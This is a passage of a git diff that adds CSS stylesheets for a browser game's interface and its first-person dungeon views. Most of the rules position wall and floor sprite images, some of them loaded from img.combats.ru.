bold; TEXT-ALIGN: center;}H4 { COLOR: #8f0000; FONT-FAMILY: Arial; FONT-SIZE: 11pt; FONT-WEIGHT: bold; MARGIN-BOTTOM: 5px;}H5 { COLOR: #4f0000; FONT-FAMILY: Arial; FONT-SIZE: 11pt; FONT-WEIGHT: bold; MARGIN-BOTTOM: 0px; MARGIN-TOP: 0px;}a,a:visited { text-decoration: none; FONT-WEIGHT: bold; color: #003388; }a:active { color: #6F0000}a:hover { color: #0066FF}.date { font-family: Courier; font-size: 8pt; text-decoration:none; font-weight:normal; color: #007000}.date1 { font-family: Courier; font-size: 8pt; text-decoration:none; font-weight:normal; color: #b00000;}.date2 { font-family: Courier; font-size: 8pt; text-decoration:none; font-weight:normal; color: #007000; background-color: #00FFAA}.date22 { font-family: Courier; font-size: 8pt; text-decoration:none; font-weight:normal; color: #007000; background-color: #00FFAA}.date3 { font-family: Courier; font-size: 8pt; text-decoration:underline; font-weight:normal; color: #007000; background-color: #00FFAA}.priem_hint{ position:absolute; background-color:#ffffcc; padding:2px; padding-left:4px; padding-right:4px; border:1px #666666 solid; z-index:1000;}.greaytext { color:grey; cursor:default; font-weight: bold; font-size: 10px; text-decoration: none;}.sysdate { font-family: Courier; font-size: 8pt; text-decoration:none; font-weight:normal; color: #B00000}.private { font-weight:bold; color: red; background-color: #FAE0E0}.klan { font-weight:bold; color: green; background-color: #99FFCC;}.number { font-size: 11pt; font-weight: bold; color: #6F0000}.dsc { color: #606060; font-weight:normal; }select,textarea,input { border: solid 1pt #B0B0B0; font-family: MS Sans Serif; font-size: 10px; color: #191970; MARGIN-BOTTOM: 2px; MARGIN-TOP: 1px;}.ahint {font-family: MS Sans Serif; font-size:8px; text-decoration:none; color:#666666;z-index: 99;}#hint2 {position:absolute; width:140; background-color:#FFF6DD; layer-background-color:#FFF6DD; visibility:hidden}#hint3 {position:absolute; width:240; background-color:#FFF6DD; layer-background-color:#FFF6DD; visibility:hidden}.hint { position:absolute; background-color:#ffffcc; padding:5px;}.hpborder { border-bottom-width: 1px; border-bottom-style: solid; border-bottom-color: #DADADA;}#hint4 {position:absolute; width:240; visibility:hidden}.B1 { font-weight: bold; color: #6666CC}.B2 { font-weight: bold; color: #B06A00}.B3 { font-weight: bold; color: #269088}.B4 { font-weight: bold; color: #A0AF20}.B5 { font-weight: bold; color: #0F79D3}.B6 { font-weight: bold; color: #D85E23}.B7 { font-weight: bold; color: #5C832F}.B8 { font-weight: bold; color: #842B61}.B9 { font-weight: bold; color: navy}.Bs1 { font-size: 8pt; font-weight:bold; color: #6666CC}.Bs2 { font-weight:bold; color: #B06A00}img,table {border:0}.ismagic {background-color: #E0E0E2; BACKGROUND-IMAGE:url(blinkmagic1.gif)}.glow_pink {background-color: #E0E0E2; BACKGROUND-IMAGE:url(blinkmagic_pink.gif)}.glow_red {background-color: #E0E0E2; BACKGROUND-IMAGE:url(blinkmagic_red.gif)}.glow_green {background-color: #E0E0E2; BACKGROUND-IMAGE:url(blinkmagic_green.gif)}.glow_yellow {background-color: #E0E0E2; BACKGROUND-IMAGE:url(blinkmagic_yellow.gif)}.glow_dark {background-color: #E0E0E2; BACKGROUND-IMAGE:url(blinkmagic_dark.gif)}.glow_blue {background-color: #E0E0E2; BACKGROUND-IMAGE:url(blinkmagic_blue.gif)}.hpStyle1 { color: #F4F4F4; line-height: 7px; font-size: 9px; font-weight: bold; padding-top: 1px; margin-left: 3px;}.mpStyle1 { color: #00FFFF; line-height: 7px; font-size: 9px; font-weight: bold; padding-top: 1px; margin-left: 3px;}.ahint { FONT-SIZE: 8px; COLOR: #000080; FONT-FAMILY: MS Sans Serif; TEXT-DECORATION: none}#hint2 { VISIBILITY: hidden; WIDTH: 140px; POSITION: absolute; BACKGROUND-COLOR: #fff6dd; layer-background-color: #FFF6DD}#hint3 { VISIBILITY: hidden; WIDTH: 240px; POSITION: absolute; BACKGROUND-COLOR: #fff6dd; layer-background-color: #FFF6DD}.genwnew { background-color: #EBEBEB; border: 1px solid #C1C1C1;}.priem_style {margin:0px;width:40px;height:25px;}.priem_styleHover {margin:1px;width:38px;height:23px;}.priem_style2 {cursor:pointer;margin:0px;width:40px;height:25px;}.priem_styleHover2 {cursor:pointer;margin:1px;width:38px;height:23px;}.menutop, a.menutop:visited, a.menutop:active { font-weight: bold; font-size: 10px; text-decoration: none; color: #3B3936;}.btn { border: 1px double #9a9996; font-size: 12px; color: #dfdfdf; background-color:#504F4C;} + +.yesbtn { border: 1px solid #b0b0b0; background-color: #ece9d8; width:60px; padding-bottom:2px; padding-top:2px; color: #333333; text-decoration: none; font-size: 12px;} + +img { border:0px;}.iframeMain { width:inherit; height:inherit;}.windowsmf_css1 { position:absolute; background-color:#ddd5bf; -moz-user-select: none; -khtml-user-select: none; user-select: none; border:solid #D8D8D8 1px; FONT-SIZE: 12px; FONT-FAMILY: Verdana, Arial, Helvetica, Tahoma, sans-serif;}.windowsmf_css1_active2 { position:absolute; background-color:#F9F9F9; -moz-user-select: none; -khtml-user-select: none; user-select: none; border:solid #FDFDFD 1px;}.inpt1 { font-size: 8pt; border: 1px solid #CDC698;}.windowsmf_css1_title { background-color:#b1a993; color:#000000; padding-top:2px; padding-left:3px; padding-right:3px; padding-bottom:2px; FONT-SIZE: 12px; FONT-FAMILY: Verdana, Arial, Helvetica, Tahoma, sans-serif;}.usermenu { z-index:900; position: absolute; LEFT: 0px; TOP: 0px; background-color:#E5E5E5; border: 1px ridge #CCCCCC;}.usermenu1 { background-color:#E5E5E5; cursor:pointer; padding-left:3px; padding-right:3px; padding-top:1px; padding-bottom:1px;}.usermenu1:hover { background-color:#CECECE;}.windowsmf_css1_title_active { background-color:#C9C4B4; color:#1A1A1A; padding-top:2px; padding-left:3px; padding-right:3px; padding-bottom:2px; cursor:move;}.windowsmf_css1_title_active2 { background-color:#D7D3C8; color:#333333; padding-top:2px; padding-left:3px; padding-right:3px; padding-bottom:2px;}.windowsmf_css1_main_active2 { background-color:#FDFDFD; color:#FDFDFD; padding:2px;}.windowsmf_css1_main { padding:2px;}.btn_grey { border-top-width: 1px; background-color: #e5e5e5; background-image:url(line1.jpg); border-top-style: solid; border-top-color: #EFEFEF; padding-top:2px; padding-bottom:2px; padding-left:7px; padding-right:7px; border-right-width: 1px; border-left-width: 1px; border-right-style: solid; border-left-style: solid; border-right-color: #D8D8D8; border-left-color: #D8D8D8; border-bottom-width: 1px; border-bottom-style: solid; border-bottom-color: #D8D8D8; color: #494949; -moz-user-select: none; -khtml-user-select: none; user-select: none; text-decoration: none;}.btn_grey:hover { background-image:url(line2.jpg); color: #333333;}.btn_grey:active { background-color: #e5e5e5; border-bottom-width: 1px; border-bottom-style: solid; border-bottom-color: #EFEFEF; border-right-width: 1px; border-left-width: 1px; border-right-style: solid; border-left-style: solid; border-right-color: #D8D8D8; border-left-color: #D8D8D8; border-top-width: 1px; border-top-style: solid; border-top-color: #D8D8D8;} .mainframe { width:inherit; height:inherit;}.message { font-size: 12px; font-family: Verdana, Arial, Helvetica, Tahoma, sans-serif;} .ttl_css{ position:absolute; padding-left:3px; padding-right:3px; padding-top:2px; padding-bottom:2px; background-color: #ffffcc; border: 1px solid #333333;} \ No newline at end of file diff --git a/css/2/design6.css b/css/2/design6.css new file mode 100644 index 0000000..dfb7897 --- /dev/null +++ b/css/2/design6.css @@ -0,0 +1,207 @@ +body { + + margin: 0px; + + height: 100%; + + width: 100%; + + background-color: #dedede; + + font-size:10px; + + color: #000000; + +} + + + +.main_text { + + font-weight: bold; + + font-size: 10px; + + text-decoration: none; + + color:#f0f0f0; + + cursor:hand; + +} + + + +.menutop, a.menutop:visited, a.menutop:active { + + font-weight: bold; + + font-size: 10px; + + text-decoration: none; + + color: #3B3936; + +} + + + +a.menutop:hover { + + color: #76726b; + +} + + + +.name { + + font-weight: bold; + + font-size: 12px; + +} + + + +.parametr_title { + + font-weight: bold; + + font-size: 11px; + + color: #777773; + +} + + + +.prname { + + padding-left: 4px; + + font-size: 11px; + + font-family: Arial, Helvetica, sans-serif; + +} + + + +.prvalue { + + font-size: 11px; + + font-family: Arial, Helvetica, sans-serif; + +} + + + +.btn { + + border: 1px double #9a9996; + + background-image: url(i/move/beg_butt.gif); + + font-size: 7.5pt; + + color: #dfdfdf; + + background-color:#504F4C; + +} + + + +.mainmenu { + + color: #23292C; + + border-top-width: 1px; + + border-right-width: 1px; + + border-bottom-width: 1px; + + border-left-width: 1px; + + border-top-style: solid; + + border-right-style: none; + + border-bottom-style: solid; + + border-left-style: solid; + + border-top-color: #969697; + + border-right-color: #969697; + + border-bottom-color: #000000; + + border-left-color: #969697; + + background-color: #BABABB; + + cursor:hand; + +} + + + +.maptext { + + font-weight: bold; + + font-size: 12px; + + color: #000000; + + font-family: Arial, Helvetica, sans-serif; + +} + +.posit { + + border-top-width: 1px; + + border-right-width: 1px; + + border-bottom-width: 1px; + + border-left-width: 1px; + + border-top-style: solid; + + border-right-style: solid; + + border-bottom-style: solid; + + border-left-style: solid; + + border-top-color: #FFFFFF; + + border-right-color: #666666; + + border-bottom-color: #666666; + + border-left-color: #FFFFFF; + + padding: 2px; + +} + + + +td { + + font-size: 10pt; + + font-family: Verdana, Arial, Helvetica, Tahoma, sans-serif; + +} + + + + diff --git a/css/2/dungeon_cs.css b/css/2/dungeon_cs.css new file mode 100644 index 0000000..6058141 --- /dev/null +++ b/css/2/dungeon_cs.css @@ -0,0 +1,57 @@ +DIV.Dungeon{ + width: 372px; + height: 260px; + padding: 10px; + position: relative; + overflow: hidden; + background: black; +} +.Dungeon BUTTON { + border: 0px solid; + background: transparent; + padding: 0px; + margin: 0px; + position: absolute; + filter: Alpha(opacity=100),Chroma( Color=#c1cacf ); +} + +.Dungeon DIV { + width: 352px; + height: 240px; + overflow: hidden; + position: relative; +} + +DIV.Life{position:absolute;background:#008000;height:2px;} +DIV.Life2{position:absolute;background:#00FF00;height:2px;} +.Dungeon .Floor0{ background: url( ../i/sprites/cs/bg0.gif ) black } +.Dungeon .Floor1{ background: url( ../i/sprites/cs/bg1.gif ) black } + +.Dungeon .LeftSide4_1 { background: url( ../i/sprites/cs/Left/4_1.gif ) no-repeat; } +.Dungeon .RightSide4_1 { background: url( ../i/sprites/cs/Right/4_1.gif ) no-repeat; } +.Dungeon .LeftSide4_0 { background: url( ../i/sprites/cs/Left/4_0.gif ) no-repeat; } +.Dungeon .RightSide4_0 { background: url( ../i/sprites/cs/Right/4_0.gif ) no-repeat; } +.Dungeon .LeftFront3_2 { background: url( ../i/sprites/cs/Left/Front/4_2.gif ) no-repeat; } +.Dungeon .RightFront3_2 { background: url( ../i/sprites/cs/Right/Front/4_2.gif ) no-repeat; } +.Dungeon .LeftFront3_1 { background: url( ../i/sprites/cs/Left/Front/4_1.gif ) no-repeat; } +.Dungeon .RightFront3_1 { background: url( ../i/sprites/cs/Right/Front/4_1.gif ) no-repeat; } +.Dungeon .LeftFront3_0 { background: url( ../i/sprites/cs/Left/Front/4_0.gif ) no-repeat; } +.Dungeon .LeftSide3_1 { background: url( ../i/sprites/cs/Left/3_1.gif ) no-repeat; } +.Dungeon .RightSide3_1 { background: url( ../i/sprites/cs/Right/3_1.gif ) no-repeat; } +.Dungeon .LeftSide3_0 { background: url( ../i/sprites/cs/Left/3_0.gif ) no-repeat; } +.Dungeon .RightSide3_0 { background: url( ../i/sprites/cs/Right/3_0.gif ) no-repeat; } +.Dungeon .LeftFront2_1 { background: url( ../i/sprites/cs/Left/Front/3_1.gif ) no-repeat; } +.Dungeon .RightFront2_1 { background: url( ../i/sprites/cs/Right/Front/3_1.gif ) no-repeat; } +.Dungeon .LeftFront2_0 { background: url( ../i/sprites/cs/Left/Front/3_0.gif ) no-repeat; } +.Dungeon .LeftSide2_0 { background: url( ../i/sprites/cs/Left/2_0.gif ) no-repeat; } +.Dungeon .RightSide2_0 { background: url( ../i/sprites/cs/Right/2_0.gif ) no-repeat; } +.Dungeon .LeftFront1_1 { background: url( ../i/sprites/cs/Left/Front/2_1.gif ) no-repeat; } +.Dungeon .RightFront1_1 { background: url( ../i/sprites/cs/Right/Front/2_1.gif ) no-repeat; } +.Dungeon .LeftFront1_0 { background: url( ../i/sprites/cs/Left/Front/2_0.gif ) no-repeat; } +.Dungeon .LeftSide1_0 { background: url( ../i/sprites/cs/Left/1_0.gif ) no-repeat; } +.Dungeon .RightSide1_0 { background: url( ../i/sprites/cs/Right/1_0.gif ) no-repeat; } +.Dungeon .LeftFront0_1 { background: url( ../i/sprites/cs/Left/Front/1_1.gif ) no-repeat; } +.Dungeon .RightFront0_1 { background: url( ../i/sprites/cs/Right/Front/1_1.gif ) no-repeat; } +.Dungeon .LeftFront0_0 { background: url( ../i/sprites/cs/Left/Front/1_0.gif ) no-repeat; } +.Dungeon .LeftSide0_0 { background: url( ../i/sprites/cs/Left/0_0.gif ) no-repeat; } +.Dungeon .RightSide0_0 { background: url( ../i/sprites/cs/Right/0_0.gif ) no-repeat; } \ No newline at end of file diff --git a/css/2/dungeon_css.css b/css/2/dungeon_css.css new file mode 100644 index 0000000..e830420 --- /dev/null +++ b/css/2/dungeon_css.css @@ -0,0 +1,57 @@ +DIV.Dungeon{ + width: 372px; + height: 260px; + padding: 10px; + position: relative; + overflow: hidden; + background: black; +} +.Dungeon BUTTON { + border: 0px solid; + background: transparent; + padding: 0px; + margin: 0px; + position: absolute; + filter: Alpha(opacity=100),Chroma( Color=#c1cacf ); +} + +.Dungeon DIV { + width: 352px; + height: 240px; + overflow: hidden; + position: relative; +} + +DIV.Life{position:absolute;background:#008000;height:2px;} +DIV.Life2{position:absolute;background:#00FF00;height:2px;} +.Dungeon .Floor0{ background: url( ../i/sprites/noob/bg0.gif ) black } +.Dungeon .Floor1{ background: url( ../i/sprites/noob/bg1.gif ) black } + +.Dungeon .LeftSide4_1 { background: url( ../i/sprites/noob/Left/4_1.gif ) no-repeat; } +.Dungeon .RightSide4_1 { background: url( ../i/sprites/noob/Right/4_1.gif ) no-repeat; } +.Dungeon .LeftSide4_0 { background: url( ../i/sprites/noob/Left/4_0.gif ) no-repeat; } +.Dungeon .RightSide4_0 { background: url( ../i/sprites/noob/Right/4_0.gif ) no-repeat; } +.Dungeon .LeftFront3_2 { background: url( ../i/sprites/noob/Left/Front/4_2.gif ) no-repeat; } +.Dungeon .RightFront3_2 { background: url( ../i/sprites/noob/Right/Front/4_2.gif ) no-repeat; } +.Dungeon .LeftFront3_1 { background: url( ../i/sprites/noob/Left/Front/4_1.gif ) no-repeat; } +.Dungeon .RightFront3_1 { background: url( ../i/sprites/noob/Right/Front/4_1.gif ) no-repeat; } +.Dungeon .LeftFront3_0 { background: url( ../i/sprites/noob/Left/Front/4_0.gif ) no-repeat; } +.Dungeon .LeftSide3_1 { background: url( ../i/sprites/noob/Left/3_1.gif ) no-repeat; } +.Dungeon .RightSide3_1 { background: url( ../i/sprites/noob/Right/3_1.gif ) no-repeat; } +.Dungeon .LeftSide3_0 { background: url( ../i/sprites/noob/Left/3_0.gif ) no-repeat; } +.Dungeon .RightSide3_0 { background: url( ../i/sprites/noob/Right/3_0.gif ) no-repeat; } +.Dungeon .LeftFront2_1 { background: url( ../i/sprites/noob/Left/Front/3_1.gif ) no-repeat; } +.Dungeon .RightFront2_1 { background: url( ../i/sprites/noob/Right/Front/3_1.gif ) no-repeat; } +.Dungeon .LeftFront2_0 { background: url( ../i/sprites/noob/Left/Front/3_0.gif ) no-repeat; } +.Dungeon .LeftSide2_0 { background: url( ../i/sprites/noob/Left/2_0.gif ) no-repeat; } +.Dungeon .RightSide2_0 { background: url( ../i/sprites/noob/Right/2_0.gif ) no-repeat; } +.Dungeon .LeftFront1_1 { background: url( ../i/sprites/noob/Left/Front/2_1.gif ) no-repeat; } +.Dungeon .RightFront1_1 { background: url( ../i/sprites/noob/Right/Front/2_1.gif ) no-repeat; } +.Dungeon .LeftFront1_0 { background: url( ../i/sprites/noob/Left/Front/2_0.gif ) no-repeat; } +.Dungeon .LeftSide1_0 { background: url( ../i/sprites/noob/Left/1_0.gif ) no-repeat; } +.Dungeon .RightSide1_0 { background: url( ../i/sprites/noob/Right/1_0.gif ) no-repeat; } +.Dungeon .LeftFront0_1 { background: url( ../i/sprites/noob/Left/Front/1_1.gif ) no-repeat; } +.Dungeon .RightFront0_1 { background: url( ../i/sprites/noob/Right/Front/1_1.gif ) no-repeat; } +.Dungeon .LeftFront0_0 { background: url( ../i/sprites/noob/Left/Front/1_0.gif ) no-repeat; } +.Dungeon .LeftSide0_0 { background: url( ../i/sprites/noob/Left/0_0.gif ) no-repeat; } +.Dungeon .RightSide0_0 { background: url( ../i/sprites/noob/Right/0_0.gif ) no-repeat; } \ No newline at end of file diff --git a/css/2/dungeon_gy0.css b/css/2/dungeon_gy0.css new file mode 100644 index 0000000..c6527c6 --- /dev/null +++ b/css/2/dungeon_gy0.css @@ -0,0 +1,62 @@ +DIV.Dungeon{ + width: 372px; + height: 260px; + padding: 10px; + position: relative; + overflow: hidden; + background: black; +} +.Dungeon BUTTON { + border: 0px solid; + background: transparent; + padding: 0px; + margin: 0px; + position: absolute; + filter: Alpha(opacity=100),Chroma( Color=#c1cacf ); +} + +.Dungeon DIV { + width: 352px; + height: 240px; + overflow: hidden; + position: relative; +} + +.Dungeon IMG { + width: 352px; + height: 240px; + position: relative; +} +DIV.Life{position:absolute;background:#008000;height:2px;} +DIV.Life2{position:absolute;background:#00FF00;height:2px;} +.Dungeon .Floor0{ background: url( http://img.combats.ru/i/sprites/gy0/bg0.gif ) black } +.Dungeon .Floor1{ background: url( http://img.combats.ru/i/sprites/gy0/bg1.gif ) black } + +.Dungeon .LeftSide4_1 { background: url( http://img.combats.ru/i/sprites/gy0/Left/4_1.gif ) } +.Dungeon .RightSide4_1 { background: url( http://img.combats.ru/i/sprites/gy0/Right/4_1.gif ) } +.Dungeon .LeftSide4_0 { background: url( http://img.combats.ru/i/sprites/gy0/Left/4_0.gif ) } +.Dungeon .RightSide4_0 { background: url( http://img.combats.ru/i/sprites/gy0/Right/4_0.gif ) } +.Dungeon .LeftFront3_2 { background: url( http://img.combats.ru/i/sprites/gy0/Left/Front/4_2.gif ) } +.Dungeon .RightFront3_2 { background: url( http://img.combats.ru/i/sprites/gy0/Right/Front/4_2.gif ) } +.Dungeon .LeftFront3_1 { background: url( http://img.combats.ru/i/sprites/gy0/Left/Front/4_1.gif ) } +.Dungeon .RightFront3_1 { background: url( http://img.combats.ru/i/sprites/gy0/Right/Front/4_1.gif ) } +.Dungeon .LeftFront3_0 { background: url( http://img.combats.ru/i/sprites/gy0/Left/Front/4_0.gif ) } +.Dungeon .LeftSide3_1 { background: url( http://img.combats.ru/i/sprites/gy0/Left/3_1.gif ) } +.Dungeon .RightSide3_1 { background: url( http://img.combats.ru/i/sprites/gy0/Right/3_1.gif ) } +.Dungeon .LeftSide3_0 { background: url( http://img.combats.ru/i/sprites/gy0/Left/3_0.gif ) } +.Dungeon .RightSide3_0 { background: url( http://img.combats.ru/i/sprites/gy0/Right/3_0.gif ) } +.Dungeon .LeftFront2_1 { background: url( http://img.combats.ru/i/sprites/gy0/Left/Front/3_1.gif ) } +.Dungeon .RightFront2_1 { background: url( http://img.combats.ru/i/sprites/gy0/Right/Front/3_1.gif ) } +.Dungeon .LeftFront2_0 { background: url( http://img.combats.ru/i/sprites/gy0/Left/Front/3_0.gif ) } +.Dungeon .LeftSide2_0 { background: url( http://img.combats.ru/i/sprites/gy0/Left/2_0.gif ) } +.Dungeon .RightSide2_0 { background: url( http://img.combats.ru/i/sprites/gy0/Right/2_0.gif ) } +.Dungeon .LeftFront1_1 { background: url( http://img.combats.ru/i/sprites/gy0/Left/Front/2_1.gif ) } +.Dungeon .RightFront1_1 { background: url( http://img.combats.ru/i/sprites/gy0/Right/Front/2_1.gif ) } +.Dungeon .LeftFront1_0 { background: url( http://img.combats.ru/i/sprites/gy0/Left/Front/2_0.gif ) } +.Dungeon .LeftSide1_0 { background: url( http://img.combats.ru/i/sprites/gy0/Left/1_0.gif ) } +.Dungeon .RightSide1_0 { background: url( http://img.combats.ru/i/sprites/gy0/Right/1_0.gif ) } +.Dungeon .LeftFront0_1 { background: url( http://img.combats.ru/i/sprites/gy0/Left/Front/1_1.gif ) } +.Dungeon .RightFront0_1 { background: url( http://img.combats.ru/i/sprites/gy0/Right/Front/1_1.gif ) } +.Dungeon .LeftFront0_0 { background: url( http://img.combats.ru/i/sprites/gy0/Left/Front/1_0.gif ) } +.Dungeon .LeftSide0_0 { background: url( http://img.combats.ru/i/sprites/gy0/Left/0_0.gif ) } +.Dungeon .RightSide0_0 { background: url( http://img.combats.ru/i/sprites/gy0/Right/0_0.gif ) } \ No newline at end of file diff --git a/css/2/dungeon_kn4.css b/css/2/dungeon_kn4.css new file mode 100644 index 0000000..369dc56 --- /dev/null +++ b/css/2/dungeon_kn4.css @@ -0,0 +1,57 @@ +DIV.Dungeon{ + width: 372px; + height: 260px; + padding: 10px; + position: relative; + overflow: hidden; + background: black; +} +.Dungeon BUTTON { + border: 0px solid; + background: transparent; + padding: 0px; + margin: 0px; + position: absolute; + filter: Alpha(opacity=100),Chroma( Color=#c1cacf ); +} + +.Dungeon DIV { + width: 352px; + height: 240px; + overflow: hidden; + position: relative; +} + +DIV.Life{position:absolute;background:#008000;height:2px;} +DIV.Life2{position:absolute;background:#00FF00;height:2px;} +.Dungeon .Floor0{ background: url( http://img.combats.ru/i/sprites/kn4/bg0.gif ) black } +.Dungeon .Floor1{ background: url( http://img.combats.ru/i/sprites/kn4/bg1.gif ) black } + +.Dungeon .LeftSide4_1 { background: url( http://img.combats.ru/i/sprites/kn4/Left/4_1.gif ) } +.Dungeon .RightSide4_1 { background: url( http://img.combats.ru/i/sprites/kn4/Right/4_1.gif ) } +.Dungeon .LeftSide4_0 { background: url( http://img.combats.ru/i/sprites/kn4/Left/4_0.gif ) } +.Dungeon .RightSide4_0 { background: url( http://img.combats.ru/i/sprites/kn4/Right/4_0.gif ) } +.Dungeon .LeftFront3_2 { background: url( http://img.combats.ru/i/sprites/kn4/Left/Front/4_2.gif ) } +.Dungeon .RightFront3_2 { background: url( http://img.combats.ru/i/sprites/kn4/Right/Front/4_2.gif ) } +.Dungeon .LeftFront3_1 { background: url( http://img.combats.ru/i/sprites/kn4/Left/Front/4_1.gif ) } +.Dungeon .RightFront3_1 { background: url( http://img.combats.ru/i/sprites/kn4/Right/Front/4_1.gif ) } +.Dungeon .LeftFront3_0 { background: url( http://img.combats.ru/i/sprites/kn4/Left/Front/4_0.gif ) } +.Dungeon .LeftSide3_1 { background: url( http://img.combats.ru/i/sprites/kn4/Left/3_1.gif ) } +.Dungeon .RightSide3_1 { background: url( http://img.combats.ru/i/sprites/kn4/Right/3_1.gif ) } +.Dungeon .LeftSide3_0 { background: url( http://img.combats.ru/i/sprites/kn4/Left/3_0.gif ) } +.Dungeon .RightSide3_0 { background: url( http://img.combats.ru/i/sprites/kn4/Right/3_0.gif ) } +.Dungeon .LeftFront2_1 { background: url( http://img.combats.ru/i/sprites/kn4/Left/Front/3_1.gif ) } +.Dungeon .RightFront2_1 { background: url( http://img.combats.ru/i/sprites/kn4/Right/Front/3_1.gif ) } +.Dungeon .LeftFront2_0 { background: url( http://img.combats.ru/i/sprites/kn4/Left/Front/3_0.gif ) } +.Dungeon .LeftSide2_0 { background: url( http://img.combats.ru/i/sprites/kn4/Left/2_0.gif ) } +.Dungeon .RightSide2_0 { background: url( http://img.combats.ru/i/sprites/kn4/Right/2_0.gif ) } +.Dungeon .LeftFront1_1 { background: url( http://img.combats.ru/i/sprites/kn4/Left/Front/2_1.gif ) } +.Dungeon .RightFront1_1 { background: url( http://img.combats.ru/i/sprites/kn4/Right/Front/2_1.gif ) } +.Dungeon .LeftFront1_0 { background: url( http://img.combats.ru/i/sprites/kn4/Left/Front/2_0.gif ) } +.Dungeon .LeftSide1_0 { background: url( http://img.combats.ru/i/sprites/kn4/Left/1_0.gif ) } +.Dungeon .RightSide1_0 { background: url( http://img.combats.ru/i/sprites/kn4/Right/1_0.gif ) } +.Dungeon .LeftFront0_1 { background: url( http://img.combats.ru/i/sprites/kn4/Left/Front/1_1.gif ) } +.Dungeon .RightFront0_1 { background: url( http://img.combats.ru/i/sprites/kn4/Right/Front/1_1.gif ) } +.Dungeon .LeftFront0_0 { background: url( http://img.combats.ru/i/sprites/kn4/Left/Front/1_0.gif ) } +.Dungeon .LeftSide0_0 { background: url( http://img.combats.ru/i/sprites/kn4/Left/0_0.gif ) } +.Dungeon .RightSide0_0 { background: url( http://img.combats.ru/i/sprites/kn4/Right/0_0.gif ) } \ No newline at end of file diff --git a/css/2/dungeon_sn.css b/css/2/dungeon_sn.css new file mode 100644 index 0000000..f403b54 --- /dev/null +++ b/css/2/dungeon_sn.css @@ -0,0 +1,62 @@ +DIV.Dungeon{ + width: 372px; + height: 260px; + padding: 10px; + position: relative; + overflow: hidden; + background: black; +} +.Dungeon BUTTON { + border: 0px solid; + background: transparent; + padding: 0px; + margin: 0px; + position: absolute; + filter: Chroma( Color=#c1cacf ); +} + +.Dungeon DIV { + width: 352px; + height: 240px; + overflow: hidden; + position: relative; +} + +.Dungeon IMG { + width: 352px; + height: 240px; + position: relative; +} +DIV.Life{position:absolute;background:#008000;height:2px;} +DIV.Life2{position:absolute;background:#00FF00;height:2px;} +.Dungeon .Floor0{ background: url( http://img.combats.ru/i/sprites/sn/bg0.gif ) black } +.Dungeon .Floor1{ background: url( http://img.combats.ru/i/sprites/sn/bg1.gif ) black } + +.Dungeon .LeftSide4_1 { background: url( http://img.combats.ru/i/sprites/sn/Left/4_1.gif ) } +.Dungeon .RightSide4_1 { background: url( http://img.combats.ru/i/sprites/sn/Right/4_1.gif ) } +.Dungeon .LeftSide4_0 { background: url( http://img.combats.ru/i/sprites/sn/Left/4_0.gif ) } +.Dungeon .RightSide4_0 { background: url( http://img.combats.ru/i/sprites/sn/Right/4_0.gif ) } +.Dungeon .LeftFront3_2 { background: url( http://img.combats.ru/i/sprites/sn/Left/Front/4_2.gif ) } +.Dungeon .RightFront3_2 { background: url( http://img.combats.ru/i/sprites/sn/Right/Front/4_2.gif ) } +.Dungeon .LeftFront3_1 { background: url( http://img.combats.ru/i/sprites/sn/Left/Front/4_1.gif ) } +.Dungeon .RightFront3_1 { background: url( http://img.combats.ru/i/sprites/sn/Right/Front/4_1.gif ) } +.Dungeon .LeftFront3_0 { background: url( http://img.combats.ru/i/sprites/sn/Left/Front/4_0.gif ) } +.Dungeon .LeftSide3_1 { background: url( http://img.combats.ru/i/sprites/sn/Left/3_1.gif ) } +.Dungeon .RightSide3_1 { background: url( http://img.combats.ru/i/sprites/sn/Right/3_1.gif ) } +.Dungeon .LeftSide3_0 { background: url( http://img.combats.ru/i/sprites/sn/Left/3_0.gif ) } +.Dungeon .RightSide3_0 { background: url( http://img.combats.ru/i/sprites/sn/Right/3_0.gif ) } +.Dungeon .LeftFront2_1 { background: url( http://img.combats.ru/i/sprites/sn/Left/Front/3_1.gif ) } +.Dungeon .RightFront2_1 { background: url( http://img.combats.ru/i/sprites/sn/Right/Front/3_1.gif ) } +.Dungeon .LeftFront2_0 { background: url( http://img.combats.ru/i/sprites/sn/Left/Front/3_0.gif ) } +.Dungeon .LeftSide2_0 { background: url( http://img.combats.ru/i/sprites/sn/Left/2_0.gif ) } +.Dungeon .RightSide2_0 { background: url( http://img.combats.ru/i/sprites/sn/Right/2_0.gif ) } +.Dungeon .LeftFront1_1 { background: url( http://img.combats.ru/i/sprites/sn/Left/Front/2_1.gif ) } +.Dungeon .RightFront1_1 { background: url( http://img.combats.ru/i/sprites/sn/Right/Front/2_1.gif ) } +.Dungeon .LeftFront1_0 { background: url( http://img.combats.ru/i/sprites/sn/Left/Front/2_0.gif ) } +.Dungeon .LeftSide1_0 { background: url( http://img.combats.ru/i/sprites/sn/Left/1_0.gif ) } +.Dungeon .RightSide1_0 { background: url( http://img.combats.ru/i/sprites/sn/Right/1_0.gif ) } +.Dungeon .LeftFront0_1 { background: url( http://img.combats.ru/i/sprites/sn/Left/Front/1_1.gif ) } +.Dungeon .RightFront0_1 { background: url( http://img.combats.ru/i/sprites/sn/Right/Front/1_1.gif ) } +.Dungeon .LeftFront0_0 { background: url( http://img.combats.ru/i/sprites/sn/Left/Front/1_0.gif ) } +.Dungeon .LeftSide0_0 { background: url( http://img.combats.ru/i/sprites/sn/Left/0_0.gif ) } +.Dungeon .RightSide0_0 { background: url( http://img.combats.ru/i/sprites/sn/Right/0_0.gif ) } \ No newline at end of file diff --git a/css/2/dungeon_sun.css b/css/2/dungeon_sun.css new file mode 100644 index 0000000..b83de76 --- /dev/null +++ b/css/2/dungeon_sun.css @@ -0,0 +1,62 @@ +DIV.Dungeon{ + width: 372px; + height: 260px; + padding: 10px; + position: relative; + overflow: hidden; + background: black; +} +.Dungeon BUTTON { + border: 0px solid; + background: transparent; + padding: 0px; + margin: 0px; + position: absolute; + filter: Chroma( Color=#c1cacf ); +} + +.Dungeon DIV { + width: 352px; + height: 240px; + overflow: hidden; + position: relative; +} + +.Dungeon IMG { + width: 352px; + height: 240px; + position: relative; +} +DIV.Life{position:absolute;background:#008000;height:2px;} +DIV.Life2{position:absolute;background:#00FF00;height:2px;} +.Dungeon .Floor0{ background: url( http://img.combats.ru/i/sprites/sun/bg0.gif ) black } +.Dungeon .Floor1{ background: url( http://img.combats.ru/i/sprites/sun/bg1.gif ) black } + +.Dungeon .LeftSide4_1 { background: url( http://img.combats.ru/i/sprites/sun/Left/4_1.gif ) } +.Dungeon .RightSide4_1 { background: url( http://img.combats.ru/i/sprites/sun/Right/4_1.gif ) } +.Dungeon .LeftSide4_0 { background: url( 